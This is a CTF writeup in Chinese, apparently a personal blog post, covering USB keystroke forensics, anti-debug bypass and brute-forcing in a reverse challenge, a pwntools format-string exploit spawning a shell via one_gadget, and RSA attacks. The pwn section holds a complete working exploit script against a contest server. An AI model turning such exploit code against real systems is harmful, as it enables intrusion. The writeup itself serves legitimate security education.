HWS第七期2023夏令营选拔赛 Writeup

 CTF / HWS
被浏览

暑假参加了 HWS 夏令营选拔赛,最近整理文件的时候想着记录一下。

其实是博客没更新太久想着更新一下

MISC

USB

发现 2.3.1 设备传输了很多 HID Data,用 tshark 把 HID Data dump 出来

1
./tshark.exe -r misc1.pcapng -T fields -e usbhid.data

得到很多 8 字节的数据,数据格式与 HID 键盘一样,输入报告格式详见

https://www.usbzh.com/article/detail-326.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
import argparse
import os
from tempfile import NamedTemporaryFile

BOOT_KEYBOARD_MAP = {
0x00: (None, None), # Reserved (no event indicated)
0x01: ('', ''), # ErrorRollOver
0x02: ('', ''), # POSTFail
0x03: ('', ''), # ErrorUndefined
0x04: ('a', 'A'), # a
0x05: ('b', 'B'), # b
0x06: ('c', 'C'), # c
0x07: ('d', 'D'), # d
0x08: ('e', 'E'), # e
0x09: ('f', 'F'), # f
0x0a: ('g', 'G'), # g
0x0b: ('h', 'H'), # h
0x0c: ('i', 'I'), # i
0x0d: ('j', 'J'), # j
0x0e: ('k', 'K'), # k
0x0f: ('l', 'L'), # l
0x10: ('m', 'M'), # m
0x11: ('n', 'N'), # n
0x12: ('o', 'O'), # o
0x13: ('p', 'P'), # p
0x14: ('q', 'Q'), # q
0x15: ('r', 'R'), # r
0x16: ('s', 'S'), # s
0x17: ('t', 'T'), # t
0x18: ('u', 'U'), # u
0x19: ('v', 'V'), # v
0x1a: ('w', 'W'), # w
0x1b: ('x', 'X'), # x
0x1c: ('y', 'Y'), # y
0x1d: ('z', 'Z'), # z
0x1e: ('1', '!'), # 1
0x1f: ('2', '@'), # 2
0x20: ('3', '#'), # 3
0x21: ('4', '$'), # 4
0x22: ('5', '%'), # 5
0x23: ('6', '^'), # 6
0x24: ('7', '&'), # 7
0x25: ('8', '*'), # 8
0x26: ('9', '('), # 9
0x27: ('0', ')'), # 0
0x28: ('\n', '\n'), # Return (ENTER)
0x29: ('[ESC]', '[ESC]'), # Escape
0x2a: ('\b', '\b'), # Backspace
0x2b: ('\t', '\t'), # Tab
0x2c: (' ', ' '), # Spacebar
0x2d: ('-', '_'), # -
0x2e: ('=', '+'), # =
0x2f: ('[', '{'), # [
0x30: (']', '}'), # ]
0x31: ('\\', '|'), # \
0x32: ('', ''), # Non-US # and ~
0x33: (';', ':'), # ;
0x34: ('\'', '"'), # '
0x35: ('`', '~'), # `
0x36: (',', '<'), # ,
0x37: ('.', '>'), # .
0x38: ('/', '?'), # /
0x39: ('[CAPSLOCK]', '[CAPSLOCK]'), # Caps Lock
0x3a: ('[F1]', '[F1]'), # F1
0x3b: ('[F2]', '[F2]'), # F2
0x3c: ('[F3]', '[F3]'), # F3
0x3d: ('[F4]', '[F4]'), # F4
0x3e: ('[F5]', '[F5]'), # F5
0x3f: ('[F6]', '[F6]'), # F6
0x40: ('[F7]', '[F7]'), # F7
0x41: ('[F8]', '[F8]'), # F8
0x42: ('[F9]', '[F9]'), # F9
0x43: ('[F10]', '[F10]'), # F10
0x44: ('[F11]', '[F11]'), # F11
0x45: ('[F12]', '[F12]'), # F12
0x46: ('[PRINTSCREEN]', '[PRINTSCREEN]'), # Print Screen
0x47: ('[SCROLLLOCK]', '[SCROLLLOCK]'), # Scroll Lock
0x48: ('[PAUSE]', '[PAUSE]'), # Pause
0x49: ('[INSERT]', '[INSERT]'), # Insert
0x4a: ('[HOME]', '[HOME]'), # Home
0x4b: ('[PAGEUP]', '[PAGEUP]'), # Page Up
0x4c: ('[DELETE]', '[DELETE]'), # Delete Forward
0x4d: ('[END]', '[END]'), # End
0x4e: ('[PAGEDOWN]', '[PAGEDOWN]'), # Page Down
0x4f: ('[RIGHTARROW]', '[RIGHTARROW]'), # Right Arrow
0x50: ('[LEFTARROW]', '[LEFTARROW]'), # Left Arrow
0x51: ('[DOWNARROW]', '[DOWNARROW]'), # Down Arrow
0x52: ('[UPARROW]', '[UPARROW]'), # Up Arrow
0x53: ('[NUMLOCK]', '[NUMLOCK]'), # Num Lock
0x54: ('[KEYPADSLASH]', '/'), # Keypad /
0x55: ('[KEYPADASTERISK]', '*'), # Keypad *
0x56: ('[KEYPADMINUS]', '-'), # Keypad -
0x57: ('[KEYPADPLUS]', '+'), # Keypad +
0x58: ('[KEYPADENTER]', '[KEYPADENTER]'), # Keypad ENTER
0x59: ('[KEYPAD1]', '1'), # Keypad 1 and End
0x5a: ('[KEYPAD2]', '2'), # Keypad 2 and Down Arrow
0x5b: ('[KEYPAD3]', '3'), # Keypad 3 and PageDn
0x5c: ('[KEYPAD4]', '4'), # Keypad 4 and Left Arrow
0x5d: ('[KEYPAD5]', '5'), # Keypad 5
0x5e: ('[KEYPAD6]', '6'), # Keypad 6 and Right Arrow
0x5f: ('[KEYPAD7]', '7'), # Keypad 7 and Home
0x60: ('[KEYPAD8]', '8'), # Keypad 8 and Up Arrow
0x61: ('[KEYPAD9]', '9'), # Keypad 9 and Page Up
0x62: ('[KEYPAD0]', '0'), # Keypad 0 and Insert
0x63: ('[KEYPADPERIOD]', '.'), # Keypad . and Delete
0x64: ('', ''), # Non-US \ and |
0x65: ('', ''), # Application
0x66: ('', ''), # Power
0x67: ('[KEYPADEQUALS]', '='), # Keypad =
0x68: ('[F13]', '[F13]'), # F13
0x69: ('[F14]', '[F14]'), # F14
0x6a: ('[F15]', '[F15]'), # F15
0x6b: ('[F16]', '[F16]'), # F16
0x6c: ('[F17]', '[F17]'), # F17
0x6d: ('[F18]', '[F18]'), # F18
0x6e: ('[F19]', '[F19]'), # F19
0x6f: ('[F20]', '[F20]'), # F20
0x70: ('[F21]', '[F21]'), # F21
0x71: ('[F22]', '[F22]'), # F22
0x72: ('[F23]', '[F23]'), # F23
0x73: ('[F24]', '[F24]'), # F24
0x74: ('', ''), # Execute
0x75: ('', ''), # Help
0x76: ('', ''), # Menu
0x77: ('', ''), # Select
0x78: ('', ''), # Stop
0x79: ('', ''), # Again
0x7a: ('', ''), # Undo
0x7b: ('', ''), # Cut
0x7c: ('', ''), # Copy
0x7d: ('', ''), # Paste
0x7e: ('', ''), # Find
0x7f: ('', ''), # Mute
0x80: ('', ''), # Volume Up
0x81: ('', ''), # Volume Down
0x82: ('', ''), # Locking Caps Lock
0x83: ('', ''), # Locking Num Lock
0x84: ('', ''), # Locking Scroll Lock
0x85: ('', ''), # Keypad Comma
0x86: ('', ''), # Keypad Equal Sign
0x87: ('', ''), # International1
0x88: ('', ''), # International2
0x89: ('', ''), # International3
0x8a: ('', ''), # International4
0x8b: ('', ''), # International5
0x8c: ('', ''), # International6
0x8d: ('', ''), # International7
0x8e: ('', ''), # International8
0x8f: ('', ''), # International9
0x90: ('', ''), # LANG1
0x91: ('', ''), # LANG2
0x92: ('', ''), # LANG3
0x93: ('', ''), # LANG4
0x94: ('', ''), # LANG5
0x95: ('', ''), # LANG6
0x96: ('', ''), # LANG7
0x97: ('', ''), # LANG8
0x98: ('', ''), # LANG9
0x99: ('', ''), # Alternate Erase
0x9a: ('', ''), # SysReq/Attention
0x9b: ('', ''), # Cancel
0x9c: ('', ''), # Clear
0x9d: ('', ''), # Prior
0x9e: ('', ''), # Return
0x9f: ('', ''), # Separator
0xa0: ('', ''), # Out
0xa1: ('', ''), # Oper
0xa2: ('', ''), # Clear/Again
0xa3: ('', ''), # CrSel/Props
0xa4: ('', ''), # ExSel
0xa5: ('', ''), # Reserved
0xa6: ('', ''), # Reserved
0xa7: ('', ''), # Reserved
0xa8: ('', ''), # Reserved
0xa9: ('', ''), # Reserved
0xaa: ('', ''), # Reserved
0xab: ('', ''), # Reserved
0xac: ('', ''), # Reserved
0xad: ('', ''), # Reserved
0xae: ('', ''), # Reserved
0xaf: ('', ''), # Reserved
0xb0: ('', ''), # Keypad 00
0xb1: ('', ''), # Keypad 000
0xb2: ('', ''), # Thousands Separator
0xb3: ('', ''), # Decimal Separator
0xb4: ('', ''), # Currency Unit
0xb5: ('', ''), # Currency Sub-unit
0xb6: ('', ''), # Keypad (
0xb7: ('', ''), # Keypad )
0xb8: ('', ''), # Keypad {
0xb9: ('', ''), # Keypad }
0xba: ('', ''), # Keypad Tab
0xbb: ('', ''), # Keypad Backspace
0xbc: ('', ''), # Keypad A
0xbd: ('', ''), # Keypad B
0xbe: ('', ''), # Keypad C
0xbf: ('', ''), # Keypad D
0xc0: ('', ''), # Keypad E
0xc1: ('', ''), # Keypad F
0xc2: ('', ''), # Keypad XOR
0xc3: ('', ''), # Keypad ^
0xc4: ('', ''), # Keypad %
0xc5: ('', ''), # Keypad <
0xc6: ('', ''), # Keypad >
0xc7: ('', ''), # Keypad &
0xc8: ('', ''), # Keypad &&
0xc9: ('', ''), # Keypad |
0xca: ('', ''), # Keypad ||
0xcb: ('', ''), # Keypad :
0xcc: ('', ''), # Keypad #
0xcd: ('', ''), # Keypad Space
0xce: ('', ''), # Keypad @
0xcf: ('', ''), # Keypad !
0xd0: ('', ''), # Keypad Memory Store
0xd1: ('', ''), # Keypad Memory Recall
0xd2: ('', ''), # Keypad Memory Clear
0xd3: ('', ''), # Keypad Memory Add
0xd4: ('', ''), # Keypad Memory Subtract
0xd5: ('', ''), # Keypad Memory Multiply
0xd6: ('', ''), # Keypad Memory Divide
0xd7: ('', ''), # Keypad +/-
0xd8: ('', ''), # Keypad Clear
0xd9: ('', ''), # Keypad Clear Entry
0xda: ('', ''), # Keypad Binary
0xdb: ('', ''), # Keypad Octal
0xdc: ('', ''), # Keypad Decimal
0xdd: ('', ''), # Keypad Hexadecimal
0xde: ('', ''), # Reserved
0xdf: ('', ''), # Reserved
0xe0: ('', ''), # Left Control
0xe1: ('', ''), # Left Shift
0xe2: ('', ''), # Left Alt
0xe3: ('', ''), # Left GUI
0xe4: ('', ''), # Right Control
0xe5: ('', ''), # Right Shift
0xe6: ('', ''), # Right Alt
0xe7: ('', ''), # Right GUI
}

CAPSLOCK = False # 大写状态

def parse_boot_keyboard_report(data: bytearray):
global CAPSLOCK
# 数据解析
modifiers = data[0] # 修改键字节
keys = data[2:8] # 键码字节

# 将修改键字节中的位解码为按键修饰符
ctrl = (modifiers & 0x11) != 0
shift = (modifiers & 0x22) != 0
alt = (modifiers & 0x44) != 0
gui = (modifiers & 0x88) != 0

# 解析键码字节并将其映射为字符
characters = []
for key in keys:
if key != 0:
# 键码不为0则查询映射表
if key in BOOT_KEYBOARD_MAP:
if key >= 0x04 and key <= 0x1d: # 是字母
characters.append(BOOT_KEYBOARD_MAP[key][CAPSLOCK ^ shift])
elif key == 0x39:
CAPSLOCK = not CAPSLOCK
else:
characters.append(BOOT_KEYBOARD_MAP[key][shift])
else:
characters.append(None)
return (ctrl, shift, alt, gui, characters)


def help_formatter(prog):
return argparse.HelpFormatter(prog, max_help_position=40)


def main():
# 解析命令行参数
parser = argparse.ArgumentParser(
description='Parse keyboard report data and output as text',
formatter_class=help_formatter)
parser.add_argument('pcapng_file', help='path to the pcapng file')
args = parser.parse_args()

tmpfile = NamedTemporaryFile(delete=False)
tmpfile.close()

command = "tshark -r %s -T fields -e usbhid.data -e usb.capdata > %s" %
(args.pcapng_file, tmpfile.name)
os.system(command)

with open(tmpfile.name, 'r') as f:
lines = f.readlines()

os.unlink(tmpfile.name)

# 解析键盘数据包,获取输入字符
text = ""
last_characters_count = {}
repeat_limit = 2
for line in lines:
capdata = line.strip().replace(':', '')
if capdata:
data = bytearray.fromhex(capdata)
characters = parse_boot_keyboard_report(data)[-1]
if not characters:
last_characters_count = {}
else:
for character in characters:
if character:
last_characters_count = {character: count for character,
count in last_characters_count.items() if character in characters}
if character in last_characters_count:
last_characters_count[character] += 1
if last_characters_count[character] <= repeat_limit:
continue
else:
last_characters_count[character] = 1
text += character
else:
pass

raw_text = repr(text)
print(f'Raw output:\n{raw_text}')
print(f'Text output:\n{text}')


if __name__ == "__main__":
main()

得到 Ao(mgHY$\A@Q7gW2D$dE@6#oO0f<Gm1hAI'/N#4<AN;MS@PfrQ149K

扔到 CyberChef 里发现是 Base85,解出 flag

flag{ec1b8b96-56a9-f15c-4e39-503e92ab45d2}

REVERSE

Animals

ida 无法直接反编译,发现存在花指令,以及 ptrace 反调试

直接 gdb 里 catch syscall ptrace,然后在快 ret 的时候,set $rax=0 即可绕过 ptrace

然后混淆主要由两种花指令构成:

  • jzjnz 组合跳转 + 垃圾代码中使用 call 来打乱 ida 分析
  • jnzjmp 组合,jnz 永真跳转

把这两种指令修了,该 nop 的 nop 掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
start_add = 0x400800
end_add = 0x406e22
for i in range(start_add, end_add):
if get_wide_dword(i) == 0x08750a74:
patch_dword(i, 0x90909090)
patch_dword(i + 4, 0x90909090)
patch_dword(i + 8, 0x90909090)
elif get_wide_dword(i) == 0x13751574:
patch_dword(i, 0x90909090)
patch_dword(i + 4, 0x90909090)
patch_dword(i + 8, 0x90909090)
patch_dword(i + 12, 0x90909090)
patch_dword(i + 16, 0x90909090)
patch_word(i + 20, 0x9090)
patch_byte(i + 22, 0x90)

然后发现 main 函数还是不能直接反编译,把 maininit 之间的汇编全部 undefine 掉,然后重新创建函数即可,恢复出来的反编译代码还是比较清晰的

代码逻辑是根据 9 个输入把字符串拼接起来作为明文,然后用 start_routine 函数去把真正的密文解出来

后面跟着的几个函数把 key 解出来然后用 sub_4011E0 对明文进行加密

sub_4011E0 先用 sub_405E00 处理明文,然后进行了一大堆操作

把密文 dump 出来:

1
2
3
4
5
pwndbg> x /32xb 0x608090
0x608090: 0xdd 0xb2 0x6d 0xf3 0xe6 0x0a 0xc7 0x83
0x608098: 0x4a 0x93 0x50 0xb4 0xa4 0x59 0xab 0x0e
0x6080a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6080a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

放弃直接逆向了,考虑到所有可能的输入规模才 6^9,把 sub_4011E0 直接复制出来,暴力枚举得到输入 051410233

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned int enc[] = {0x0F36DB2DD, 0x83C70AE6, 0x0B450934A, 0x0EAB59A4};
char *s[] = {"cat", "dog", "fox", "panda", "dragon", "monkey"};
unsigned char str[128];
int len, input[10];
unsigned int pt[16];
void gen() {
memset(str, 0, sizeof(str));
memset(pt, 0, sizeof(pt));
for (int i = 0; i < 9; i++) {
len = strlen(s[input[i]]);
strncat(str, s[input[i]], len);
}
len = strlen(str);
str[len] = 0x80;
int cnt = 0;
for (int i = 0; i <= len + 6; i += 4) {
for (int j = 0; j < 4; j += 1) pt[cnt] |= str[i + j] << (j << 3);
cnt++;
}
pt[14] = 8 * len;
}
unsigned int std[] = {0x0EFCDAB89, 0x67452301, 0x10325476, 0x98BADCFE};
unsigned int ct[4], key[4];
void encrypt() { // sub_4011E0
memcpy(ct, std, sizeof(std));
memcpy(key, std, sizeof(std));
......
ct[0] += key[0];
ct[1] += key[1];
ct[2] += key[2];
ct[3] += key[3];
}
void dfs(int p) {
if (p > 8) {
gen();
encrypt();
int flag = 1;
for (int i = 0; i < 4; ++i) flag &= enc[i] == ct[i];
if (flag) {
puts("[+] Input Found :");
for (int i = 0; i < 9; ++i) printf("%d", input[i]);
puts("");
exit(0);
}
return;
}
for (int i = 0; i < 6; ++i) {
input[p] = i;
dfs(p + 1);
}
}
int main() { dfs(0); }

根据代码提示 flag{md5(input)} 得到 flag{839c998c52db6618bb24c346b85a894f}

在网上还看见有师傅直接在标准输入输出流里爆破的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from itertools import product
from subprocess import Popen, PIPE

# 创建迭代器
char_set = "012345"
char_length = 9
all_combinations = product(char_set, repeat=char_length)

# 遍历组合并发送给进程
for combination in all_combinations:
inp = "".join(combination)
p = Popen('./main', stdin=PIPE, stdout=PIPE, stderr=PIPE, shell=True)
# 发送输入
for i in inp:
p.stdin.write(i.encode()+b'\n')
#print(i.encode())
p.stdin.close()

# 接收输出
res = p.stdout.read()
# print(res.decode('utf-8'))
res = res.decode('utf-8')

# 检查是否包含flag
if b'flag' in res:
print(inp)
break

PWN

fmt

拿到题先 checksec,发现保护全开

再看代码逻辑,内容非常简单就是两次格式化字符串

第一次先泄露出 __libc_start_main_ret 和栈基址

动调得知 __libc_start_main_ret__libc_start_main + 243,拿到 libc 基址

由于保护全开,第二次利用想到 one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ one_gadget ./libc-2.31.so    
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

拿到 one_gadget 以后,要想办法把返回地址改成 gadget

但是地址太大一次不好写,又因为 __libc_start_main_ret 和 gadget 高位相同,因此可以只取 gadget 的低 6 位,然后再把低 6 位拆成 2 位和 4 位写入内存中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

def lg(s, addr):
print('\033[1;31;40m%20s-->0x%x\033[0m' % (s, addr))

# io = process('./fmt')
io = remote('123.60.179.52', 30223)
libc = ELF('./libc.so.6')

# gdb.attach(io, 'b*$rebase(0x13af)')
io.sendlineafter('str: ', '%21$p%18$p')
io.recvuntil('0x')
leak_libc = int(io.recv(12), 16)
io.recvuntil('0x')
leak_stack = int(io.recv(12), 16)

lg('leak_stack', leak_stack)
libc_base = leak_libc - (libc.sym['__libc_start_main'] + 243)

gadget = [0xe3afe, 0xe3b01, 0xe3b04]

target = (libc_base + gadget[1]) % 0x1000000

low = target % 0x10000
high = target // 0x10000
lg('target', target)
lg('low', low)
lg('high', high)

payload = b'%' + str(high).encode() + b'c%11$hhn'
payload += b'%' + str(low - high).encode() + b'c%10$hn'
payload = payload.ljust(32, b'a')
payload += p64(leak_stack + 8) + p64(leak_stack + 10)
print(payload)
io.sendlineafter('str: ', payload)
io.interactive()

CRYPTO

RSA

由所给代码可知:N=p7qN = p^7 * qphi=p6(p1)(q1)phi = p^6 * (p-1) * (q-1)

e1d11(modphi)e_1 * d_1 \equiv 1 \pmod{phi}

e2d21(modphi)e_2 * d_2 \equiv 1 \pmod{phi}

d1+x=d2d_1 + x = d_2

e2(d1+x)1(modphi)e_2 * (d_1 + x) \equiv 1 \pmod{phi}

e1e2(d1+x)e1(modphi)e_1 * e_2 * (d_1 + x) \equiv e_1 \pmod{phi}

e1e2x+e1e2=0e_1 * e_2 * x + e_1 - e_2 = 0

参照一下论文:https://eprint.iacr.org/2015/399.pdf

e1e2x+e1e20(modp6)e_1 * e_2 * x + e_1 - e2 \equiv 0 \pmod{p^6}

g(x)=xx0(modp6)g(x) = x - x' \equiv 0 \pmod{p^6}

x=(e2e1)((e1e2)1)x' = (e_2 - e_1) * ((e_1 * e_2)^{-1})

coppersmith 解出 xx,之后就正常解即可

这好像还是强网杯的原题(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# sagemath
from Crypto.Util.number import *
from gmpy2 import *

N = 26989781630503676259502221325791347584607522857769579575297691973258919576768826427059198152035415835627885162613470528107575781277590981314410130242259476764500731263549070841939946410404214950861916808234008589966849302830389937977667872854316531408288338541977868568209278283760692866116947597445559763998608870359453835826711179703215320653445704522573070650642347871171425399227090705774976383452533375854187754721093890020986550939103071021619840797519979671188117673303672023522910200606134989916541289908538417562640981839074992935652363458747488201289997240226553340491203815779083605965873519144351105635977
c = 15608493359172313429111250362547316415137342033261379619116685637094829328864086722267534755459655689598026363165606700718051739433022581810982230521098576597484850535770518552787220173105513426779515790426303985414120033452747683669501078476628404455341179818932159581239994489678323564587149645006231756392148052557984581049067156468083162932334692086321511063682574943502393749684556026493316348892705114791740287823927634401828970155725090197482067045119003108806888768161101755244340832271562849138340706213702438667804460812804485276133545408754720942940596865774516864097546006862891145251661268265204662316437
e = 65537
e1 = 8334176273377687778925968652923982846998724107624538105654894737480608040787164942908664678429487595866375466955578536932646638608374859799560790357357355475153852315429988251406716837806949387421402107779526648346112857245251481791000156326311794515247012084479404963628187413781724893173183595037984078029706687141452980915897613598715166764006079337996939237831127877822777298891345240992224457502307777453813403723860370336259768714433691700008761598135158249554720239480856332237245140606893060889458298812027643186014638882487288529484407249417947342798261233371859439003556025622531286607093086262182961900221
e2 = 22291783101991466901669802811072286361463259096412523019927956845014956726984633944311563809077545336731345629003968417408385538540199052480763352937138063001691494078141034164060073208592072783644252721127901996835233091410441838546235477819239598146496144359952946239328842198897348830164467799618269341456666825968971193729838026760012332020223490546511437879465268118749332615890600046622926159177680882780495663448654527562370133394251859961739946007037825763819500955365636946510343942994301809125029616066868596044885547005547390446468651797783520279531291808102209463733268922901056842903640261702268483580079

r = 7
a = (e2 - e1) * invert(e1 * e2, N) % N
# assert a < N
P.<x> = PolynomialRing(Zmod(N))
f = x - a
x = f.small_roots(X=2^675, beta=0.65625)
x = x[0]
k_phi = e1 * e2 * x - (e2 - e1)
p_k = gcd(int(k_phi), N)

p = gmpy2.iroot(int(p_k), r - 1)[0]
q = N // (p**r)
n = p * q
phi_n = (p - 1) * (q - 1)
d = invert(e, phi_n)
m = int(pow(c, d, n))
print(long_to_bytes(m))

random

由所给代码,我们可以通过爆破 basebase 去得到和 nn 对应的素数列表,然后去得到素数对应的系数

根据多素数RSA系统的计算方式得到 phiphi,但是这题的 eephiphi 是不互素的

eephiphi 的最大公约数为 gg,推导如下:

e=e//ge'=e // g

d=e1d'=e'^{-1}

此时有:

(mg)ec(modn)(m^g)^{e'} \equiv c \pmod{n}

mgcd(modn)m^g \equiv c^{d'} \pmod{n}

如果 mg<nm^g<n,我们可以考虑直接开根得到 mm,但在这里 g=108g=108,且 mm 经过 padding 与 nn 同级

因此考虑在有限域上开根然后再 CRT 组合爆破得到 flag:

mgcd1(modp1)m^g \equiv c^{d'_1} \pmod{p_1}

mgcd2(modp2)m^g \equiv c^{d'_2} \pmod{p_2}

\vdots

mgcdi(modpi)m^g \equiv c^{d'_i} \pmod{p_i}

完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.number import *
from gmpy2 import *
import itertools

n = 255550794734774347335455038653204099810524562323968101081052744238324333979282590769066826059535810339765419405089707653972316828518446466787073982991340735273047955757161722774546888128720663627716647123110956021905275918358574092054477588935546729192812379266210918802470144452212508255209922150559524376661512464064852413804511191503030046546647554981646983220695416838829085308878177824361071544916728725428437436959573167863053126718594118224053088660739173865895266537548733106779437480905737491231720771570860988017959907437998012442781279100256862684919251885437194156545435396952798548033193683684362049646718627530076461463826459504520525895649547513376441325848313193080013281816762156916219271109726593135112626577858906494025788770088106285316571255392298608980679161123528759865796345121056864973189231253364595956642612401745212207858555858704724770456899071144650909246822311039572915447866615638976747716646382091135281119109866295649034560378368202797914202112090339159898226929176034503535419893300159083361891627300767030933209665917744361038219820997348160094737332979677839131999258559999565207302339242257832022939036526481610130970477187338439181123984340269665409009894192138483254592729253191096427332283419085864095600303323775372526431524911842065699875575955728772820558157791292247976982470646890930951250598649964200733076634093613078091713383782021194766013790646324780327618195433827227105459480409797466859653960886570869469172506894631937612508518886406112758352094014377947728184352908630672750330561369500089138179794848896959683336195170519521
e = 57564
c = 29259244746260903447574448389058952310000390135231599667104954615635954705912759181552349897154663199516384757779582324312559110410628822220097857204989378367616522573650610718867075518776621505865327181301059226036067398269476892575801933638458560523584293063843890012581096233699743704556897984235725492806550009731913445801481786988321848320254380607620726887530437151238556482879159888862341096974129499878601309077513908335631417136332585391767849651968095851808312565329858938394084369711172343300695636449663297542069122814607488273607842533010193498547579501368165500427762712900139188279259336486273788664239339542187191374015805659616093967428577968683677885747775540903578723024681500272919689849253480672194507905399890280339044782040395397922973935735424691828624724029439840506402735626398047317544972966643810550593849196291833043243448655939654884418027006572740130515844853007135331296523599052132266288322473865775521953742444721612389547052020839760259179074124960827686670217980159612966767064088131176654212504654177367329044762238432531402899949096987765334061101859346928585114984440559379578507872401025874782849854603895110182401204202962118890563473961321104811452539667609870771280348801335004559132482743318366689808669972965573335905879806817618597010442262336079838039317609336210571773187461470707420797827741277982208089496339300646565067740673242728353659143107970717482392927903021102141779217003523105389389513154792904745687959335115429159530013641777064904216646895961910784920181748841104318013067029395394948190384737300533803009402182800702

p = []
fi = False
for i in range(128, 257):
base = 1 << i
t = next_prime(base + 1)
while (t <= base + 500000):
if n % t == 0:
p.append(t)
fi = True
t = next_prime(t)
if fi:
break
print("[+] Find primes")

k = []
for x in p:
num = 0
t = n
while t % x == 0:
t //= x
num += 1
k.append(num)

phi = 1
for i in range(len(p)):
phi *= pow(p[i], k[i] - 1) * (p[i] - 1)
pk_phi = []
for i in range(len(p)):
pk_phi.append(p[i] ** (k[i] - 1) * (p[i] - 1))
p[i] = p[i] ** k[i]
print("[+] Get phi")

g = gcd(e, phi)
print("[+] The gcd of e and phi is:", g)

res = []
for i in range(len(p)):
d = inverse(int(e // g), pk_phi[i])
m = pow(c, d, p[i])
res.append(Zmod(p[i])(m).nth_root(g, all=True))

for vc in itertools.product(*res):
_c = [int(x) for x in vc]
m = long_to_bytes(int(crt(_c, p)))
if b"flag" in m:
print("[+] Find flag:")
print(m)
break